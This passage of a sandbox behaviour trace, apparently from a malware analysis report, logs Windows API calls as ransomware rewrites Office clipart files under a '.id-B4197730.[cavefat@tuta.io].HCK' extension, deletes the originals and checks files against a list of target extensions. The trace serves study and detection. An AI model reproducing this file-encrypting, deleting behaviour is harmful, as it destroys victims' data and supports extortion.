lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0165.468] lstrlenW (lpString=".jpg") returned 4 [0165.468] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.469] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0165.469] lstrlenW (lpString="J0101864.BMP") returned 12 [0165.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0165.485] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=31968) returned 1 [0165.485] CloseHandle (hObject=0x308) returned 1 [0165.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 0x220 [0165.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0165.485] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.485] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0165.503] GetLastError () returned 0x0 [0165.503] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0165.505] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0165.506] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.506] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.506] SetEndOfFile (hFile=0x3ac) returned 1 [0165.511] CloseHandle (hObject=0x3ac) returned 1 [0165.514] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.514] SetEndOfFile (hFile=0x308) returned 1 [0165.517] CloseHandle (hObject=0x308) returned 1 [0165.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 1 [0165.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0165.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0165.522] lstrlenW (lpString=".doc") returned 4 [0165.522] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.522] lstrlenW (lpString=".docx") returned 5 [0165.522] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0165.522] lstrlenW (lpString=".pdf") returned 4 [0165.522] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.522] lstrlenW (lpString=".xls") returned 4 [0165.522] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.522] lstrlenW (lpString=".xlsx") returned 5 [0165.522] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0165.522] lstrlenW (lpString=".ppt") returned 4 [0165.522] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0165.522] lstrlenW (lpString=".zip") returned 4 [0165.522] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.522] lstrlenW (lpString=".rar") returned 4 [0165.522] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.522] lstrlenW (lpString=".bz2") returned 4 [0165.522] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.522] lstrlenW (lpString=".7z") returned 3 [0165.522] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0165.522] lstrlenW (lpString=".dbf") returned 4 [0165.522] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0165.523] lstrlenW (lpString=".1cd") returned 4 [0165.523] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0165.523] lstrlenW (lpString=".jpg") returned 4 [0165.523] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0165.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0165.523] lstrlenW (lpString=".doc") returned 4 [0165.523] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0165.523] lstrlenW (lpString=".docx") returned 5 [0165.523] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0165.523] lstrlenW (lpString=".pdf") returned 4 [0165.523] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0165.523] lstrlenW (lpString=".xls") returned 4 [0165.523] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0165.523] lstrlenW (lpString=".xlsx") returned 5 [0165.523] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0165.523] lstrlenW (lpString=".ppt") returned 4 [0165.523] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0165.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0165.523] lstrlenW (lpString=".zip") returned 4 [0165.523] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0165.523] lstrlenW (lpString=".rar") returned 4 [0165.523] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0165.523] lstrlenW (lpString=".bz2") returned 4 [0165.523] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0165.523] lstrlenW (lpString=".7z") returned 3 [0165.523] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0165.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0165.523] lstrlenW (lpString=".dbf") returned 4 [0165.523] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0165.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0165.523] lstrlenW (lpString=".1cd") returned 4 [0165.523] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0165.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0165.523] lstrlenW (lpString=".jpg") returned 4 [0165.523] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0165.523] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0165.523] lstrlenW (lpString="J0101980.WMF") returned 12 [0165.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0165.531] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=16104) returned 1 [0165.531] CloseHandle (hObject=0x364) returned 1 [0165.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 0x220 [0165.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0165.548] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.548] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0165.556] GetLastError () returned 0x0 [0165.556] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x3ee8, lpOverlapped=0x0) returned 1 [0165.558] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3ef0, lpOverlapped=0x0) returned 1 [0165.559] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.559] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.559] SetEndOfFile (hFile=0x2e8) returned 1 [0165.564] CloseHandle (hObject=0x2e8) returned 1 [0165.565] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.565] SetEndOfFile (hFile=0x364) returned 1 [0165.567] CloseHandle (hObject=0x364) returned 1 [0165.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.569] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 1 [0165.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0165.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0165.572] lstrlenW (lpString=".doc") returned 4 [0165.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.572] lstrlenW (lpString=".docx") returned 5 [0165.572] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0165.572] lstrlenW (lpString=".pdf") returned 4 [0165.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.572] lstrlenW (lpString=".xls") returned 4 [0165.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.572] lstrlenW (lpString=".xlsx") returned 5 [0165.572] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0165.572] lstrlenW (lpString=".ppt") returned 4 [0165.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0165.572] lstrlenW (lpString=".zip") returned 4 [0165.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.572] lstrlenW (lpString=".rar") returned 4 [0165.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.572] lstrlenW (lpString=".bz2") returned 4 [0165.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.572] lstrlenW (lpString=".7z") returned 3 [0165.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0165.572] lstrlenW (lpString=".dbf") returned 4 [0165.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0165.572] lstrlenW (lpString=".1cd") returned 4 [0165.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0165.572] lstrlenW (lpString=".jpg") returned 4 [0165.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0165.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0165.573] lstrlenW (lpString=".doc") returned 4 [0165.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.573] lstrlenW (lpString=".docx") returned 5 [0165.573] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0165.573] lstrlenW (lpString=".pdf") returned 4 [0165.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.573] lstrlenW (lpString=".xls") returned 4 [0165.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.573] lstrlenW (lpString=".xlsx") returned 5 [0165.573] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0165.573] lstrlenW (lpString=".ppt") returned 4 [0165.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0165.573] lstrlenW (lpString=".zip") returned 4 [0165.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.573] lstrlenW (lpString=".rar") returned 4 [0165.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.573] lstrlenW (lpString=".bz2") returned 4 [0165.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.573] lstrlenW (lpString=".7z") returned 3 [0165.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0165.573] lstrlenW (lpString=".dbf") returned 4 [0165.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0165.573] lstrlenW (lpString=".1cd") returned 4 [0165.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0165.573] lstrlenW (lpString=".jpg") returned 4 [0165.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.573] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0165.573] lstrlenW (lpString="J0102984.WMF") returned 12 [0165.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0165.577] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=17040) returned 1 [0165.578] CloseHandle (hObject=0x364) returned 1 [0165.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 0x220 [0165.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0165.593] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.593] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0165.600] GetLastError () returned 0x0 [0165.600] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x4290, lpOverlapped=0x0) returned 1 [0165.602] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x42a0, lpOverlapped=0x0) returned 1 [0165.603] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.603] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.603] SetEndOfFile (hFile=0x2ec) returned 1 [0165.603] CloseHandle (hObject=0x2ec) returned 1 [0165.603] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.603] SetEndOfFile (hFile=0x364) returned 1 [0165.604] CloseHandle (hObject=0x364) returned 1 [0165.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 1 [0165.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0165.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0165.618] lstrlenW (lpString=".doc") returned 4 [0165.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.618] lstrlenW (lpString=".docx") returned 5 [0165.618] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0165.618] lstrlenW (lpString=".pdf") returned 4 [0165.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.618] lstrlenW (lpString=".xls") returned 4 [0165.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.618] lstrlenW (lpString=".xlsx") returned 5 [0165.618] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0165.618] lstrlenW (lpString=".ppt") returned 4 [0165.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0165.618] lstrlenW (lpString=".zip") returned 4 [0165.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.618] lstrlenW (lpString=".rar") returned 4 [0165.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.618] lstrlenW (lpString=".bz2") returned 4 [0165.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.619] lstrlenW (lpString=".7z") returned 3 [0165.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0165.619] lstrlenW (lpString=".dbf") returned 4 [0165.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0165.619] lstrlenW (lpString=".1cd") returned 4 [0165.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0165.619] lstrlenW (lpString=".jpg") returned 4 [0165.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0165.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0165.619] lstrlenW (lpString=".doc") returned 4 [0165.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.619] lstrlenW (lpString=".docx") returned 5 [0165.619] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0165.619] lstrlenW (lpString=".pdf") returned 4 [0165.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.619] lstrlenW (lpString=".xls") returned 4 [0165.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.619] lstrlenW (lpString=".xlsx") returned 5 [0165.619] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0165.619] lstrlenW (lpString=".ppt") returned 4 [0165.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0165.619] lstrlenW (lpString=".zip") returned 4 [0165.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.619] lstrlenW (lpString=".rar") returned 4 [0165.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.619] lstrlenW (lpString=".bz2") returned 4 [0165.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.619] lstrlenW (lpString=".7z") returned 3 [0165.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0165.619] lstrlenW (lpString=".dbf") returned 4 [0165.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0165.619] lstrlenW (lpString=".1cd") returned 4 [0165.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0165.619] lstrlenW (lpString=".jpg") returned 4 [0165.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.620] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0165.620] lstrlenW (lpString="J0103850.WMF") returned 12 [0165.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), 